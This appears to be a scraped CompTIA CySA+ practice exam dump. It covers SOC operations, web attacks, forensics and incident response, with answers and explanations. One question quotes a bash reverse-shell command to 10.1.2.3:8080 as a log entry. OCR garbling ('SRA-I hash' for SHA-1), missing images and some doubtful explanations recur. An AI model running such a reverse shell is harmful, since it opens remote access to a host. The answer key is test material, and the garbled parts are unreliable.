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Questions # 1:

A SOC manager is establishing a reporting process to manage vulnerabilities. Which of the
following would be the best solution to identify potential loss incurred by an issue?
Options:

O A.

Trends

O B.

Risk score

O C.

Mitigation

O D.

Prioritization

Answer

B
Explanation

A risk score is a numerical value that represents the potential impact and likelihood of a
vulnerability being exploited. It can help to identify the potential loss incurred by an issue
and prioritize remediation efforts accordingly.
https://www.comptia.org/training/books/cysa-cs0-003-study-guide

Questions # 2:

An employee is no longer able to log in to an account after updating a browser. The employee
usually has several tabs open in the browser. Which of

the following attacks was most likely performed?
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Options:
O A.

RFI

O B.

LFI

O C.
CSRF

O D.

XSS

Answer

C
Explanation

The most likely attack that was performed is CSRF (Cross-Site Request Forgery). This is an
attack that forces a user to execute unwanted actions on a web application in which they
are currently authenticatedl. If the user has several tabs open in the browser, one of them
might contain a malicious link or form that sends a request to the web application to
change the user’s password, email address, or other account settings. The web application
will not be able to distinguish between the legitimate requests made by the user and the
forged requests made by the attacker. As a result, the user will lose access to their
account.

To prevent CSRF attacks, web applications should implement some form of anti-CSRF
tokens or other mechanisms that validate the origin and integrity of the requests2. These
tokens are unique and unpredictable values that are generated by the server and
embedded in the forms or URLs that perform state-changing actions. The server will then
verify that the token received from the client matches the token stored on the server
before processing the request. This way, an attacker cannot forge a valid request without
knowing the token value.

Some other possible attacks that are not relevant to this scenario are:
RFI (Remote File Inclusion) is an attack that allows an attacker to execute malicious

code on a web server by including a remote file in a script. This attack does not
affect the user’s browser or account settings.

LFI (Local File Inclusion) is an attack that allows an attacker to read or execute local
files on a web server by manipulating the input parameters of a script. This attack
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does not affect the user’s browser or account settings.

XSS (Cross-Site Scripting) is an attack that injects malicious code into a web page
that is then executed by the user’s browser. This attack can affect the user’s browser
or account settings, but it requires the user to visit a compromised web page or click
on a malicious link. It does not depend on having several tabs open in the browser.

Questions # 3:

An attacker has just gained access to the syslog server on a LAN. Reviewing the syslog entries
has allowed the attacker to prioritize possible next targets. Which of the following is this an
example of?

Options:

O A.

Passive network foot printing
O B.

OS fingerprinting

O C.

Service port identification

O D.

Application versioning

Answer

A
Explanation

Passive network foot printing is the best description of the example, as it reflects the
technique of collecting information about a network or system by monitoring or sniffing
network traffic without sending any packets or interacting with the target. Foot printing is
a term that refers to the process of gathering information about a target network or
system, such as its IP addresses, open ports, operating systems, services, or
vulnerabilities. Foot printing can be done for legitimate purposes, such as penetration
testing or auditing, or for malicious purposes, such as reconnaissance or intelligence
gathering. Foot printing can be classified into two types: active and passive. Active foot
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printing involves sending packets or requests to the target and analyzing the responses,
such as using tools like ping, traceroute, or Nmap. Active foot printing can provide more
accurate and detailed information, but it can also be detected by firewalls or intrusion
detection systems (IDS). Passive foot printing involves observing or capturing network
traffic without sending any packets or requests to the target, such as using tools like
tcpdump, Wireshark, or Shodan. Passive foot printing can provide less information, but it
can also avoid detection by firewalls or IDS. The example in the question shows that the
attacker has gained access to the syslog server on a LAN and reviewed the syslog entries
to prioritize possible next targets. A syslog server is a server that collects and stores log
messages from various devices or applications on a network. A syslog entry is a record of
an event or activity that occurred on a device or application, such as an error, a warning,
or an alert. By reviewing the syslog entries, the attacker can obtain information about the
network or system, such as its configuration, status, performance, or security issues. This
is an example of passive network foot printing, as the attacker is not sending any packets
or requests to the target, but rather observing or capturing network traffic from the syslog
server. The other options are not correct, as they describe different techniques or
concepts. OS fingerprinting is a technique of identifying the operating system of a target
by analyzing its responses to certain packets or requests, such as using tools like Nmap or
Xprobe2. OS fingerprinting can be done actively or passively, but it is not what the
attacker is doing in the example. Service port identification is a technique of identifying
the services running on a target by scanning its open ports and analyzing its responses to
certain packets or requests, such as using tools like Nmap or Netcat. Service port
identification can be done actively or passively, but it is not what the attacker is doing in
the example. Application versioning is a concept that refers to the process of assigning
unique identifiers to different versions of an application, such as using numbers, letters,
dates, or names. Application versioning canhelp to track changes, updates, bugs, or
features of an application, but it is not related to what the attacker is doing in the
example.

Questions # 4:

A security analyst is conducting a vulnerability assessment of a company's online store. The
analyst discovers a critical vulnerability in the payment processing system that could be
exploited, allowing attackers to steal customer payment information. Which of the following
should the analyst do next?

Options:
O A.

Leave the vulnerability unpatched until the next scheduled maintenance window to avoid
potential disruption to business.

O B.

Perform a risk assessment to evaluate the potential impact of the vulnerability and determine
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whether additional security measures are needed.

o C.

Ignore the vulnerability since the company recently passed a payment system compliance
audit.

O D.

Isolate the payment processing system from production and schedule for reimaging.

Answer

B
Explanation

When acritical vulnerabilityis identified, the immediate next step should be
toassess the riskassociated with the vulnerability.

Risk assessment (Option B)helps determine the severity, exploitability, and
business impact before deciding on mitigation measures.

Option A (delaying the fix)is dangerous because payment data theft can have
severe consequences, including regulatory penalties and reputational damage.

Option C (ignoring the vulnerability)is incorrect because passing a compliance
audit does not mean the system is secure.

Option D (isolating and reimaging)is an extreme measure that might not be
necessary unless active exploitation is detected.

?7?7?77Reference:CompTIA CySA+ CS0-003 Official Study Guide, Risk Management &
Vulnerability Management Lifecycle.

Questions # 5:

An organization's website was maliciously altered.

INSTRUCTIONS
Review information in each tab to select the source IP the analyst should be concerned

about, the indicator of compromise, and the two appropriate corrective actions.
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Options:

Answer
Answer:

see the explanation for step by step solution.

Explanation

Step 1: Analyzing the SFTP Log

The SFTP log provides a record of file transfer and login activities:

User “sjames” logged in from several IP addresses:

192.168.10.32 and 192.168.10.37 (internal network IPs)

32.111.16.37 and 41.21.18.102 (external IPs)

We see file alterations in the /var/www directory, which is commonly the web
directory.

Modified files: about_us.html, index.htmi

Suspicious activity:

192.168.11.102 and 41.21.18.102 modified the files.

32.111.16.37 had failed login attempts, indicating possible unauthorized access
attempts.

The most suspicious IP here is 41.21.18.102, as it’s associated with direct file
modifications, possibly indicating unauthorized access.
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Step 2: Reviewing Netstat
The netstat output shows active connections and their states:
IP41.21.18.102 has an ESTABLISHED connection with port 22, commonly used for
SFTP.
IP 32.111.16.37 is also attempting connections, and 32.111.16.37 connections are in
a TIME_WAIT state, showing prior connections were recently closed.
The netstat output reaffirms 41.21.18.102 is actively connected and potentially involved in
malicious activities.
Step 3: Checking the HTTP Access Log
The HTTP Access log shows access to about_us.html:
32.111.16.37 repeatedly accessed /about_us.html with 404 errors, indicating
attempts to reach non-existing pages.
41.21.18.102 accessed the 200 status code, showing successful page requests, but

since this IP was modifying files directly on the server, it might be testing or verifying
changes.

Again, 41.21.18.102 stands out as it matches both successful file modification and page

request patterns, while 32.111.16.37 shows unsuccessful attempts.

Step 4: Selecting the IP of Concern

Based on the above analysis:
Answer: 41.21.18.102 should be the IP of concern due to its direct file modifications
on critical web files (about_us.html, index.html).

Step 5: Identifying the Indicator of Compromise

Potential indicators include unauthorized file modifications:

Modified index.html file is the correct answer, as it indicates direct changes to
website content and is often a clear sign of compromise.

Step 6: Selecting Corrective Actions

To mitigate and prevent further compromise:
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Change the password on the “sjames” account: The account was used across various
IPs, indicating potential account compromise.

Block external SFTP access: Restricting SFTP to internal IPs only would prevent
unauthorized external modifications. Since 41.21.18.102 was external, this would
stop similar threats.

Summary

IP of Concern: 41.21.18.102
Indicator of Compromise: Modified index.html file

Corrective Actions:

Change the password on the sjames account

Block external SFTP access
These selections address both the immediate security breach and implement a
preventative measure against future unauthorized access.

>

Questions # 6:

An organization identifies a method to detect unexpected behavior, crashes, or resource leaks
in a system by feeding invalid, unexpected, or random data to stress the application. Which of
the following best describes this testing methodology?

Options:

O A.

Reverse engineering
O B.

Static

O C.

Fuzzing
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O D.

Debugging

Answer

C
Explanation

Fuzzing is a testing technique where invalid or random data is inputted into a system to
find vulnerabilities, crashes, or unexpected behaviors. It’'s commonly used in software
security to identify flaws that could lead to security breaches. According to CompTIA’s
CySA+ curriculum, fuzzing is a dynamic testing method for exposing application
weaknesses. Options like static testing (B) involve analyzing code without execution, while
reverse engineering (A) and debugging (D) involve different methodologies for
understanding or fixing code, not intentionally stressing it.

Questions # 7:

A SOC manager receives a phone call from an upset customer. The customer received a
vulnerability report two hours ago: but the report did not have a follow-up remediation
response from an analyst. Which of the following documents should the SOC manager review
to ensure the team is meeting the appropriate contractual obligations for the customer?

Options:
O A.
SLA
O B.
MOU
O C.
NDA
O D.

Limitation of liability
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Answer

A
Explanation

SLA stands for service level agreement, which is a contract or document that defines the
expectations and obligations between a service provider and a customer regarding the
quality, availability, performance, or scope of a service. An SLA may also specify the
metrics, penalties, or remedies for measuring or ensuring compliance with the agreed
service levels. An SLA can help the SOC manager review if the team is meeting the
appropriate contractual obligations for the customer, such as response time, resolution
time, reporting frequency, or communication channels.

Questions # 8:

A security analyst received a malicious binary file to analyze. Which of the following is the best
technique to perform the analysis?

Options:

O A.

Code analysis

O B.

Static analysis

O C.

Reverse engineering
O D.

Fuzzing

Answer

C
Explanation

Reverse engineering is a technique that involves analyzing a binary file to understand its
structure, functionality, and behavior. Reverse engineering can help security analysts
perform malware analysis, vulnerability research, exploit development, and software
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debugging. Reverse engineering can be done using various tools, such as disassemblers,
debuggers, decompilers, and hex editors.

Questions # 9:

An analyst is examining events in multiple systems but is having difficulty correlating data
points. Which of the following is most likely the issue with the system?

Options:

O A.

Access rights

O B.

Network segmentation
O C.

Time synchronization
O D.

Invalid playbook

Answer

C
Explanation

Time synchronization is the process of ensuring that all systems in a network have the
same accurate time, which is essential for correlating data points from different sources. If
the system has an issue with time synchronization, the analyst may have difficulty
matching events that occurred at the same time or in a specific order. Access rights,
network segmentation, and invalid playbook are not directly related to the issue of
correlating data points. Verified References: [CompTIA CySA+ CS0-002 Certification Study
Guide], page 23

Questions # 10:
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A user downloads software that contains malware onto a computer that eventually infects
numerous other systems. Which of the following has the user become?

Options:

O A.

Hacklivist

O B.

Advanced persistent threat

O C.

Insider threat

O D.

Script kiddie

Answer

C
Explanation

The user has become an insider threat by downloading software that contains malware
onto a computer that eventually infects numerous other systems. An insider threat is a
person or entity that has legitimate access to an organization’s systems, networks, or
resources and uses that access to cause harm or damage to the organization. An insider
threat can be intentional or unintentional, malicious or negligent, and can result from
various actions or behaviors, such as downloading unauthorized software, violating
security policies, stealing data, sabotaging systems, or collaborating with external
attackers.

Questions # 11:

Which of the following documents sets requirements and metrics for a third-party response
during an event?

Options:

O A.
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BIA

O B.

DRP

O C.

SLA

O D.

MOU

Answer

C
Explanation

Comprehensive Detailed Explanation:A Service Level Agreement (SLA) defines the
expectations, requirements, and metrics for third-party services, including response times
and responsibilities during an event. Here’s an overview of each option:

A. BIA (Business Impact Analysis)

Explanation: BIA is used to assess potential impacts of disruptions to business
operations, but it does not specify third-party response requirements.

B. DRP (Disaster Recovery Plan)

Explanation: DRP provides recovery procedures for internal systems and
services but does not directly establish third-party obligations.

C. SLA (Service Level Agreement)

Explanation: SLAs set clear expectations for third-party services, including
response times, performance metrics, and specific requirements during

incidents. SLAs ensure accountability for external providers during critical
events.

D. MOU (Memorandum of Understanding)

Explanation: An MOU defines general terms and intentions between parties but
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lacks the specific performance metrics required in an SLA.

[References:, NIST SP 800-37: Risk Management Framework, on the role of SLAs in
managing third-party risk., ITIL Service Design: Importance of SLAs for defining service
performance and response requirements., , ]

Questions # 12:

While reviewing web server logs, a security analyst found the following line:

[x]

Which of the following malicious activities was attempted?

Options:

O A.

Command injection

O B.

XML injection

O C.

Server-side request forgery
O D.

Cross-site scripting

Answer

D
Explanation

XSS is a type of web application attack that exploits the vulnerability of a web server or
browser to execute malicious scripts or commands on the client-side. XSS attackers inject
malicious code, such as JavaScript, VBScript, HTML, or CSS, into a web page or application
that is viewed by other users. The malicious code can then access or manipulate the
user’s session, cookies, browser history, or personal information, or perform actions on
behalf of the user, such as stealing credentials, redirecting to phishing sites, or installing
malwarel?2
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The line in the web server log shows an example of an XSS attack using VBScript. The
attacker tried to insert an tag with a malicious SRC attribute that contains a VBScript
code. The VBScript code is intended to display a message box with the text “test” when
the user views the web page or application. This is a simple and harmless example of XSS,
but it could be used to test the vulnerability of the web server or browser, or to launch
more sophisticated and harmful attacks3

Questions # 13:

An organization is conducting a pilot deployment of an e-commerce application. The
application's source code is not available. Which of the following strategies should an analyst
recommend to evaluate the security of the software?

Options:

O A.

Static testing

O B.

Vulnerability testing
O C.

Dynamic testing

O D.

Penetration testing

Answer

D
Explanation

Penetration testing is the best strategy to evaluate the security of the software without
the source code. Penetration testing is a type of security testing that simulates real-world
attacks on the software to identify and exploit its vulnerabilities. Penetration testing can
be performed on the software as a black box, meaning that the tester does not need to
have access to the source code or the internal structure of the software. Penetration
testing can help the analyst to assess the security posture of the software, the potential
impact of the vulnerabilities, and the effectiveness of the existing security controls12.
Static testing, vulnerability testing, and dynamic testing are other types of security
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testing, but they usually require access to the source code or the internal structure of the
software. Static testing is the analysis of the software code or design without executing it.
Vulnerability testing is the identification and evaluation of the software weaknesses or
flaws. Dynamic testing is the analysis of the software code or design while executing
it345. References: Penetration Testing - OWASP, What is a Penetration Test and How Does
It Work?, Static Code Analysis | OWASP Foundation, Vulnerability Scanning Best Practices,
Dynamic Testing - OWASP

Questions # 14:

The Chief Information Security Officer for an organization recently received approval to install
a new EDR solution. Following the installation, the number of alerts that require remediation
by an analyst has tripled. Which of the following should the organization utilize to best
centralize the workload for the internal security team? (Select two).

Options:

O A.

SOAR

O B.

SIEM

O C.

MSP

O D.

NGFW

O E.

XDR

O F.

DLP

Answer

A B
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Explanation

SOAR (Security Orchestration, Automation and Response) and SIEM (Security Information
and Event Management) are solutions that can help centralize the workload for the
internal security team by collecting, correlating, and analyzing alerts from different
sources, such as EDR. SOAR can also automate and streamline incident response
workflows, while SIEM can provide dashboards and reports for security monitoring and
compliance. References: What is EDR? Endpoint Detection & Response, How Does the
Cyber Kill Chain Protect Against Attacks?; What is EDR Solution?, EDR solutions secure
diverse endpoints through central monitoring

Questions # 15:

An organization receives a legal hold request from an attorney. The request pertains to emails
related to a disputed vendor contract. Which of the following is the first step for the security
team to take to ensure compliance with the request?

Options:

O A.

Publicly disclose the request to other vendors.

O B.

Notify the departments involved to preserve potentially relevant information.
O C.

Establish a chain of custody, starting with the attorney's request.

O D.

Back up the mailboxes on the server and provide the attorney with a copy.

Answer

B
Explanation

The first step for the security team when receiving a legal hold request is to notify the
relevant departments to preserve all potentially relevant information. This ensures that no
data is altered, deleted, or otherwise tampered with, which is critical for maintaining the
integrity of the evidence. Preserving information includes emails, documents, and any
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other data that might be relevant to the legal matter. Establishing a chain of custody and
backing up data are also important steps, but notifying the involved parties is the
immediate priority to prevent data loss.

Questions # 16:

Which of the following is the best use of automation in cybersecurity?

Options:

O A.

Ensure faster incident detection, analysis, and response.

O B.

Eliminate configuration errors when implementing new hardware.
O C.

Lower costs by reducing the number of necessary staff.

O D.

Reduce the time for internal user access requests.

Answer

A
Explanation

Comprehensive and Detailed Step-by-Step Explanation:Automation in cybersecurity is best
utilized to improve the speed and accuracy of incident detection, analysis, and response.
Tools like SOAR (Security Orchestration, Automation, and Response) streamline workflows,
allowing analysts to focus on more complex tasks while reducing response times. This
ensures quicker containment and mitigation of threats.

[References:, CompTIA CySA+ Study Guide (Chapter 1: Cybersecurity Automation, Page
28), CompTIA CySA+ Practice Tests (Domain 1.3 Tools for Malicious Activity, Page 13), ,, ]

Questions # 17:
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A security analyst is viewing a recorded session that captured suspicious activity:
scanning 192.168.10.10...

scan timing: about 10% done...

scan completed (4 host up); scanned 4 hosts in 1348 sec.
HOSt Port State Service

192.168.10.10 1 closed unknown

192.168.10.20 1 closed unknown

192.168.10.30 1 closed unknown

192.168.10.40 1 closed unknown

Which of the following best describes the activity shown?

Options:

O A.

UDP scan

O B.

SYN scan

O C.

XMAS tree scan
O D.

Half-open scan

Answer

D
Explanation

The scan output where ports are marked as “closed” suggests the use of ahalf-open or
SYN scan. In a SYN scan, the scanner sends only the initial SYN packet and does not
complete the TCP handshake. If a SYN-ACK is received, the port is open; if a RST is
received, it is closed. This scanning method is also referred to as astealth scanand is
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frequently used to avoid detection.

[Reference:, Mike Chapple, David Seidl,CompTIA CySA+ Practice Tests(Sybex, 2023), p.
376, Question 15: “This image shows a SYN-based port scan...”, ]

Questions # 18:

A systems administrator needs to gather security events with repeatable patterns from Linux
log files. Which of the following would the administrator most likely use for this task?
Options:

O A.

A regular expression in Bash

O B.

Filters in the vi editor

O C.

Variables in a PowerShell script

O D.

A playbook in a SOAR tool

Answer

A
Explanation

Regular expressions are powerful tools for searching text based on specific patterns,
making them ideal for parsing Linux log files to detect security events with repeatable
patterns. In Bash, regular expressions can be used in commands like grep or awk to
efficiently filter log data. CompTIA CySA+emphasizes the use of regular expressions in log
analysis for pattern matching, a common requirement for identifying suspicious activities
in log files. Options B, C, and D are less suited for this specific task due to their limited
pattern-matching capabilities or platform constraints.

Questions # 109:
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A vulnerability scan shows the following vulnerabilities in the environment:
>
At the same time, the following security advisory was released:

"A zero-day vulnerability with a CVSS score of 10 may be affecting your web server. The
vendor is working on a patch or workaround."

Which of the following actions should the security analyst take first?

Options:

O A.

Contact the web systems administrator and request that they shut down the asset.

O B.

Monitor the patch releases for all items and escalate patching to the appropriate team.
O C.

Run the vulnerability scan again to verify the presence of the critical finding and the zero-day
vulnerability in the environment.

O D.

Forward the advisory to the web security team and initiate the prioritization strategy for the
other vulnerabilities.

Answer

A
Explanation

In this scenario, the security analyst is presented with multiple vulnerabilities, including a
critical zero-day vulnerability affecting the web server with a CVSS score of 10. The CVSS
(Common Vulnerability Scoring System) provides a standardized method for rating IT
vulnerabilities, with a score of 10 indicating the highest severity.

Option A:Contact the web systems administrator and request that they shut down the

asset.

Correct Choice:Given the critical nature of a zero-day vulnerability with a CVSS
score of 10, immediate action is warranted to prevent potential exploitation. Shutting
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down the affected web server reduces the attack surface and mitigates the risk until
a patch or workaround is available. This aligns with incident response best practices,
where containment is a priority to prevent further damage.

Option B:Monitor the patch releases for all items and escalate patching to the
appropriate team.

Incorrect Choice:While monitoring for patches is essential, it is a reactive
approach. In the case of a zero-day vulnerability with active exploitation potential,
waiting for a patch without implementing immediate protective measures exposes
the organization to significant risk.

Option C:Run the vulnerability scan again to verify the presence of the critical finding and
the zero-day vulnerability in the environment.

Incorrect Choice:Re-scanning may confirm the vulnerability's presence but does
not address the immediate threat. Action to mitigate the risk should take precedence
over verification, especially when the vulnerability is known and critical.

Option D:Forward the advisory to the web security team and initiate the prioritization
strategy for the other vulnerabilities.

Incorrect Choice:Communicating with the web security team is important;
however, in the face of a critical zero-day vulnerability, immediate action (such as
shutting down the affected asset) is necessary before addressing other
vulnerabilities.

[Reference:, CompTIA CySA+ CS0-003 Exam Objective 3.2: "Given a scenario, perform
incident response activities." This includes containment strategies to address active
threats effectively.]

Questions # 20:

The developers recently deployed new code to three web servers. A daffy automated external
device scan report shows server vulnerabilities that are failure items according to PCI DSS.

If the venerability is not valid, the analyst must take the proper steps to get the scan clean.
If the venerability is valid, the analyst must remediate the finding.

After reviewing the information provided in the network diagram, select the STEP 2 tab to
complete the simulation by selecting the correct Validation Result and Remediation Action for
each server listed using the drop-down options.
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INTRUCTIONS:
The simulation includes 2 steps.

Stepl:Review the information provided in the network diagram and then move to the STEP 2
tab.

>

>

STEP 2: Given the Scenario, determine which remediation action is required to address the
vulnerability.

>

Options:

Answer

Answer: >

Questions # 21:

An analyst is becoming overwhelmed with the number of events that need to be investigated
for a timeline. Which of the following should the analyst focus on in order to move the incident
forward?

Options:

O A.

Impact

O B.

Vulnerability score
O C.

Mean time to detect
O D.

Isolation
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Answer

A
Explanation

The analyst should focus on the impact of the events in order to move the incident
forward. Impact is the measure of the potential or actual damage caused by an incident,
such as data loss, financial loss, reputational damage, or regulatory penalties. Impact can
help the analyst prioritize the events that need to be investigated based on their severity
and urgency, and allocate the appropriate resources and actions to contain and remediate
them. Impact can also help the analyst communicate the status and progress of the
incident to the stakeholders and customers, and justify the decisions and
recommendations made during the incident responsel2. Vulnerability score, mean time to
detect, and isolation are all important metrics or actions for incident response, but they
are not the main focus for moving the incident forward. Vulnerability score is the rating of
the likelihood and severity of a vulnerability being exploited by a threat actor. Mean time
to detect is the average time it takes to discover an incident. Isolation is the process of
disconnecting an affected system from the network to prevent further damage or spread
of the incident34 . References: Incident Response: Processes, Best Practices & Tools -
Atlassian, Incident Response Metrics: What You Should Be Measuring, Vulnerability
Scanning Best Practices, How to Track Mean Time to Detect (MTTD) and Mean Time to
Respond (MTTR) to Cybersecurity Incidents, [Isolation and Quarantine for Incident
Response]

Questions # 22:

An employee is suspected of misusing a company-issued laptop. The employee has been
suspended pending an investigation by human resources. Which of the following is the best
step to preserve evidence?

Options:

O A.

Disable the user's network account and access to web resources
O B.

Make a copy of the files as a backup on the server.

O C.

Place a legal hold on the device and the user's network share.

O D.
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Make a forensic image of the device and create a SRA-I hash.

Answer

D
Explanation

Making a forensic image of the device and creating a SRA-I hash is the best step to
preserve evidence, as it creates an exact copy of the device’s data and verifies its
integrity. A forensic image is a bit-by-bit copy of the device’s storage media, which
preserves all the information on the device, including deleted or hidden files. A SRA-I hash
is a cryptographic value that is calculated from the forensic image, which can be used to
prove that the image has not been altered or tampered with. The other options are not as
effective as making a forensic image and creating a SRA-I hash, as they may not capture
all the relevant data, or they may not provide sufficient verification of the evidence’s
authenticity. Official References:

https://www.sans.org/blog/forensics-101-acquiring-an-image-with-ftk-imager/

https://swailescomputerforensics.com/digital-forensics-imaging-hash-value/

Questions # 23:

A list of loCs released by a government security organization contains the SHA-256 hash for a
Microsoft-signed legitimate binary, svchost. exe. Which of the following best describes the
result if security teams add this indicator to their detection signatures?

Options:

O A.

This indicator would fire on the majority of Windows devices.

O B.

Malicious files with a matching hash would be detected.

O C.

Security teams would detect rogue svchost. exe processesintheirenvironment.

O D.
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Security teams would detect event entries detailing executionofknown-malicioussvchost. exe
processes.

Answer

A
Explanation

Adding the SHA-256 hash of a legitimate Microsoft-signed binary like svchost.exe to
detection signatures would result in the indicator firing on the majority of Windows
devices. Svchost.exe is a common and legitimate system process used by Windows, and
using its hash as an indicator ofcompromise (IOC) would generate numerous false
positives, as it would match the legitimate instances of svchost.exe running on all
Windows systems.

Questions # 24:

An analyst reviews a recent government alert on new zero-day threats and finds the following
CVE metrics for the most critical of the vulnerabilities:

CVSS: 3.1/AV:N/AC: L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:U/RL:W/RC:R

Which of the following represents the exploit code maturity of this critical vulnerability?

Options:
O A.

E:U

O B.

S:C

O C.
RC:R

O D.
AV:N

O E.

AC:L
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Answer

A
Explanation

The exploit code maturity of a vulnerability is indicated by the E metric in the CVSS
temporal score. The value of U means that no exploit code is available or unknownl. The
other options are not related to the exploit code maturity, but to other aspects of the
vulnerability, such as attack vector, scope, availability, and complexityl.

Questions # 25:

A security analyst identified the following suspicious entry on the host-based IDS logs:

bash -i >& /dev/tcp/10.1.2.3/8080 0>&1

Which of the following shell scripts should the analyst use to most accurately confirm if the
activity is ongoing?

Options:

O A.

#!/bin/bashnc 10.1.2.3 8080 -vv >dev/null && echo "Malicious activity" Il echo "OK"

O B.

#!/bin/bashps -fea | grep 8080 >dev/null && echo "Malicious activity" I| echo "OK"

O C.

#!/bin/bashls /opt/tcp/10.1.2.3/8080 >dev/null && echo "Malicious activity" I| echo "OK"
O D.

#!/bin/bashnetstat -antp Igrep 8080 >dev/null && echo "Malicious activity" 1] echo "OK"

Answer

D
Explanation

The suspicious entry on the host-based IDS logs indicates that a reverse shell was
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executed on the host, which connects to the remote IP address 10.1.2.3 on port 8080. The
shell script option D uses the netstat command to check if there is any active connection
to that IP address and port, and prints “Malicious activity” if there is, or “OK” otherwise.
This is the most accurate way to confirm if the reverse shell is still active, as the other
options may not detect the connection or may produce false positives.

ReferencesCompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 8: Incident
Response, page 339.Reverse Shell Cheat Sheet, Bash section.

Questions # 26:

Which of the following best describes the key elements of a successful information security
program?

Options:

O A.

Business impact analysis, asset and change management, and security communication plan
O B.

Security policy implementation, assignment of roles and responsibilities, and information asset
classification

O C.

Disaster recovery and business continuity planning, and the definition of access control
requirements and human resource policies

O D.

Senior management organizational structure, message distribution standards, and procedures
for the operation of security management systems

Answer

B
Explanation

A successful information security program consists of several key elements that align with
the organization’s goals and objectives, and address the risks and threats to its
information assets.
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Security policy implementation: This is the process of developing, documenting, and
enforcing the rules and standards that govern the security of the organization’s
information assets. Security policies define the scope, objectives, roles, and
responsibilities of the security program, as well as the acceptable use, access
control, incident response, and compliance requirements for the information assets.

Assignment of roles and responsibilities: This is the process of identifying and
assigning the specific tasks and duties related to the security program to the
appropriate individuals or groups within the organization. Roles and responsibilities
define who is accountable, responsible, consulted, and informed for each security
activity, such as risk assessment, vulnerability management, threat detection,
incident response, auditing, and reporting.

Information asset classification: This is the process of categorizing the information
assets based on their value, sensitivity, and criticality to the organization.
Information asset classification helps to determine the appropriate level of protection
and controls for each asset, as well as the impact and likelihood of a security breach
or loss. Information asset classification also facilitates the prioritization of security
resources and efforts based on the risk level of each asset.

Questions # 27:

Which of the following is the most appropriate action a security analyst to take to effectively
identify the most security risks associated with a locally hosted server?

Options:

O A.

Run the operating system update tool to apply patches that are missing.
O B.

Contract an external penetration tester to attempt a brute-force attack.
O C.

Download a vendor support agent to validate drivers that are installed.

O D.

Execute a vulnerability scan against the target host.
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Answer

D
Explanation

A vulnerability scan is a process of identifying and assessing the security weaknesses of a
system or network. A vulnerability scan can help a security analyst to effectively identify
the most security risks associated with a locally hosted server, such as missing patches,
misconfigurations, outdated software, or exposed services. A vulnerability scan can also
provide recommendations on how to remediate the identified vulnerabilities and improve
the security posture of the serverl2 References: 1: What is a Vulnerability Scan? |
Definition and Examples 2: Securing a server: risks, challenges and best practices -
Vaadata

Questions # 28:

After reviewing the final report for a penetration test, a cybersecurity analyst prioritizes the
remediation for input validation vulnerabilities. Which of the following attacks is the analyst
seeking to prevent?

Options:

O A.

DNS poisoning

O B.

Pharming

O C.

Phishing

O D.

Cross-site scripting

Answer

D
Explanation

Input validation vulnerabilities occur when an application fails to properly validate or
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sanitize user input, allowing malicious data to be processed. This can lead to various
attacks, most notably cross-site scripting (XSS).

Option A:DNS poisoning

Incorrect Choice:DNS poisoning involves corrupting the DNS cache to redirect
users to malicious sites. It is not related to input validation vulnerabilities.

Option B:Pharming

Incorrect Choice:Pharming redirects users from legitimate websites to fraudulent
ones, typically through DNS poisoning or host file manipulation. It is not directly
related to input validation.

Option C:Phishing

Incorrect Choice:Phishing involves tricking individuals into providing sensitive
information through deceptive emails or websites. It exploits human behavior rather
than technical input validation flaws.

Option D:Cross-site scripting

Correct Choice:Cross-site scripting (XSS) attacks occur when an application
includes untrusted data in a web page without proper validation or escaping. This
allows attackers to execute malicious scripts in users' browsers, leading to data
theft, session hijacking, or defacement. Remediating input validation vulnerabilities
is essential to prevent XSS attacks.

[Reference:, CompTIA CySA+ CS0-003 Exam Objective 2.4: "Given a scenario, recommend
controls to mitigate attacks and software vulnerabilities," specifically addressing injection
flaws like cross-site scripting., ,, ,, ]

Questions # 29:

A company has the following security requirements:

. No public IPs
- All data secured at rest

. No insecure ports/protocols
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After a cloud scan is completed, a security analyst receives reports that several
misconfigurations are putting the company at risk. Given the following cloud scanner output:

>
Which of the following should the analyst recommend be updated first to meet the security
requirements and reduce risks?

Options:

O A.

VM_PRD DB

O B.

VM_DEV_DB

O C.

VM _DEV_Web02

O D.

VM_PRD_Web01

Answer

D
Explanation

This VM has a public IP and an open port 80, which violates the company’s security
requirements of no public IPs and no insecure ports/protocols. It also exposes the VM to
potential attacks from the internet. This VM should be updated first to use a private IP and
close the port 80, or use a secure protocol such as HTTPS.

References[CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition], Chapter 2: Cloud
and Hybrid Environments, page 67.[What is a Public IP Address?][What is Port 807]

Questions # 30:

An analyst is reviewing system logs while threat hunting:

>
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Which of the following hosts should be investigated first?

Options:
O A.
PC1
O B.
PC2
O C.
PC3
O D.
PC4
O E.

PC5

Answer

C
Explanation

From the logs, PC3 showsoutlook.exe spawning excel.exe at 1:15 PM, and
laterexcel.exe spawning procdump.exe at 1:16 PM. This is highly suspicious
becauseoutlook.exe should not normally launch Excel, andprocdump.exe is often
used by attackers to dump process memory, which is a common technique in
credential theft.

PC1:Running expected Windows processes (wininit.exe spawning services.exe and
Isass.exe).

PC2:Running a browser process (chrome.exe) from explorer.exe, which is normal.
PC3:Highly suspicious behavior (Excel spawning procdump.exe).

PC4:Running mstsc.exe (Remote Desktop) from explorer.exe, which is expected.

PC5:Running Firefox from explorer.exe, which is normal.

Thus,PC3 should be prioritized for investigationdue to its potential involvement in
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‘ credential theft.

Questions # 31:

A vulnerability management team found four major vulnerabilities during an assessment and
needs to provide a report for the proper prioritization for further mitigation. Which of the
following vulnerabilities should have the highest priority for the mitigation process?
Options:

O A.

A vulnerability that has related threats and loCs, targeting a different industry

O B.

A vulnerability that is related to a specific adversary campaign, with loCs found in the SIEM
O C.

A vulnerability that has no adversaries using it or associated loCs

O D.

A vulnerability that is related to an isolated system, with no loCs

Answer

B
Explanation

A vulnerability that is related to a specific adversary campaign, with 1oCs found in the
SIEM, should have the highest priority for the mitigation process. This is because it
indicates that the vulnerability is actively being exploited by a known threat actor, and
that the organization’s security monitoring system has detected signs of compromise. This
poses a high risk of data breach, service disruption, or other adverse impacts. References:
How to Prioritize Vulnerabilities Effectively: Vulnerability Prioritization Explained, Section:
How to prioritize vulnerabilities step by step to avoid drowning in sea of problems;
CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations
and Monitoring, page 156.

Questions # 32:
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A SOC receives several alerts indicating user accounts are connecting to the company’s
identity provider through non-secure communications. User credentials for accessing
sensitive, business-critical systems could be exposed. Which of the following logs should the
SOC use when determining malicious intent?

Options:

O A.

DNS

O B.

tcpdump

O C.

Directory

O D.

IDS

Answer

D
